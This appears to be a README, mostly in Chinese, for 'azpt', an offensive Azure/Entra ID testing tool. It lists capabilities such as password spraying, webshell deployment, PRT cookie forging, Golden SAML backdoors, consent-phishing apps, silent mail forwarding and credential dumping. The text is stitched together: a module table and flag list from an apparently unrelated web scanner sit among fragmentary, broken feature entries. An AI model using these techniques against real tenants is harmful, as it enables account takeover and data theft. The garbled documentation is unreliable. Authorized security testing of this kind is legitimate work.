./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")'
./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json
发现结果在表格输出中按严重程度从高到低排序。
main.go internal/ recon/ unauthenticated outsider recon: realm, tenant, DNS posture, subdomain enum (wildcard-aware), user enum, password spray scan/ attack-path graph builder + self-contained Azure-themed HTML viz azauth/ credential chain, raw token acquisition (ARM + Graph), JWT claims azure/ SDK wrappers: subscriptions, resources, storage audit + data plane (blobs/tables), key vault, RBAC azsql/ Azure SQL client (Entra ID token or SQL login) — query/dump graph/ Microsoft Graph REST client (users, groups, SPs, apps, memberOf) blob/ anonymous Blob REST client (list/versions/download) + secret classifier audit/ pure detection rules over resource views -> findings model/ shared types: Resource, Finding, Severity, Report output/ JSON + human-readable table rendering cli/ cobra command tree, shared bootstrap()
设计原则:
- **检测与 I/O 解耦。** 审计规则和 blob 密钥分类器都是基于扁平化视图的纯函数,因此无需任何网络访问即可进行单元测试。
- **一切皆成为 `model.Finding`。** 已认证和匿名模块输出到同一类型,因此 `--json` 及未来的报告可以统一处理它们。
- **在可能的情况下默认匿名。** `blob` 客户端直接使用原始 Blob REST API,从不构造凭据。
---
## 开发```bash
go build ./... # compile everything
go test ./... # run unit tests (no Azure connection required)
go vet ./... # static checks
gofmt -l . # list files needing formatting (should be empty)
blob 客户端的测试针对本地 httptest 服务器演练了真实的请求构建与 XML 解析路径,包括版本枚举、分页以及 403 PublicAccessNotPermitted 情况——无需真实存储账户。
--access-token / AZPT_TOKEN + FOCI 刷新兑换enum ca)enum access — 令牌作用域、目录角色、组、RBAC在 MIT 许可证 下发布。
azpt 是一款攻击性安全工具,仅供授权测试使用。
仅将其用于您拥有或已获得明确书面许可进行评估的租户和订阅。您需对自己的使用方式负责。
--format:输出格式(text、json、csv、html)--verbose:启用详细输出--quiet:抑制除结果外的所有输出--no-color:禁用彩色输出--config:配置文件路径--save-config:将当前配置保存到文件--list-modules:列出所有可用模块--module-info:显示特定模块的信息--update:检查更新--version:显示版本信息--help:显示帮助信息| 模块 | 描述 | 状态 |
|---|
sqli | SQL 注入检测 | 稳定 |
xss | 跨站脚本检测 | 稳定 |
lfi | 本地文件包含检测 | 稳定 |
rce | 远程代码执行检测 | 稳定 |
ssrf | 服务器端请求伪造检测 | 稳定 |
csrf | 跨站请求伪造检测 | 测试版 |
open_redirect | 开放重定向检测 | 测试版 |
xxe | XML 外部实体检测 | 测试版 |
ssti | 服务器端模板注入检测 | 测试版 |
nosql | NoSQL 注入检测 | 测试版 |
ldapi | LDAP 注入检测 | 测试版 |
xpath | XPath 注入检测 | 测试版 |
crlf | CRLF 注入检测 | 测试版 |
host_header | Host 头注入检测 | 测试版 |
cors | CORS 错误配置检测 | 测试版 |
clickjacking | 点击劫持检测 | 稳定 |
security_headers | 安全响应头检测 | 稳定 |
ssl_tls | SSL/TLS 配置检测 | 稳定 |
info_disclosure | 信息泄露检测 | 稳定 |
subdomain_takeover | 子域接管检测 | 测试版 |
blob brute)recon takeover)audit network)audit keyvault/rbac)scan:BloodHound 风格攻击路径图(文本 + JSON + HTML),将 Entra ID(组/角色)与 ARM RBAC + 资源连接起来--cloud)token decode 工具(声明 + wids→目录角色映射)scan 提权图recon tenantinfo:联合身份 / 无缝 SSO / 本地同步)enum risky);Intune 设备枚举 + 脚本推送 RCE(intune)scan --bloodhound)scan 中的 Entra + ARM 权限提升图(拥有的 SP/应用/组 → 全局管理员)--deep)mfa devicecode)scan --audit → Findings 选项卡)entra update-profile)blob containers --sas)recon users --first --last --domain)enum identities)、Lighthouse 委派、公共 IPscan --loot 深度扫描:Function App 密钥、AKS kubeconfig、LAPS 密码、BitLocker 密钥、APIM 机密、数据库防火墙规则、磁盘快照、自定义 RBAC 通配符角色、陈旧 SP 凭据、Logic App 定义--certificate PFX/PEM)webapp deploy)用于 webshell 部署enum synced)token extract — 从 .azure/msal_token_cache.json 提取刷新 + 访问令牌)m365 scan)devops)deploymentScripts RCE,附带托管标识(arm deploy-script)persistence)k8s — 机密、服务账户、Pod、RBAC 提权枚举、非交互式 Pod exec、服务账户令牌铸造)k8s pivot-azure)enum kql)+ 单查询资产列表(enum resources --fast)harvest):az CLI(accessTokens.json、azureProfile.json、service_principal_entries.json、MSAL 缓存)及 Az PowerShell(AzureRmContext.json、Windows 上的 DPAPI TokenCache.dat)prt):从 PRT + 会话密钥伪造 KDF v2 x-ms-RefreshTokenCredential SSO cookie,完整 nonce→cookie→authorize→token 链;主机上 BrowserCore.exe 提取(Windows)device register):DRS 流氓设备加入 → 设备证书/密钥(PRT 前提条件、基于设备的 CA 绕过、持久化)federation):托管→联合后门(ConvertTo-AADIntBackdoor)+ Golden SAML 伪造及 SAML 持有者兑换(XML-DSig 针对独立实现验证)entra phish-app):多租户应用 + 同意 URL + 本地回复 URL 令牌捕获器(Invoke-InjectOAuthApp)m365 rules):通过 Graph messageRules 的静默收件箱转发规则scan dump/scan query):完整目录 + 攻击图导入纯 Go SQLite(modernc.org/sqlite),13 个预设分析视图prt extract)、AD Connect 同步凭据转储(adconnect sync-creds)、DPAPI(CryptUnprotectData)——构建标签控制,非 Windows 上为空操作指引prt request:从已注册设备获取真实 PRT(链式设备注册 → KDF v2 cookie)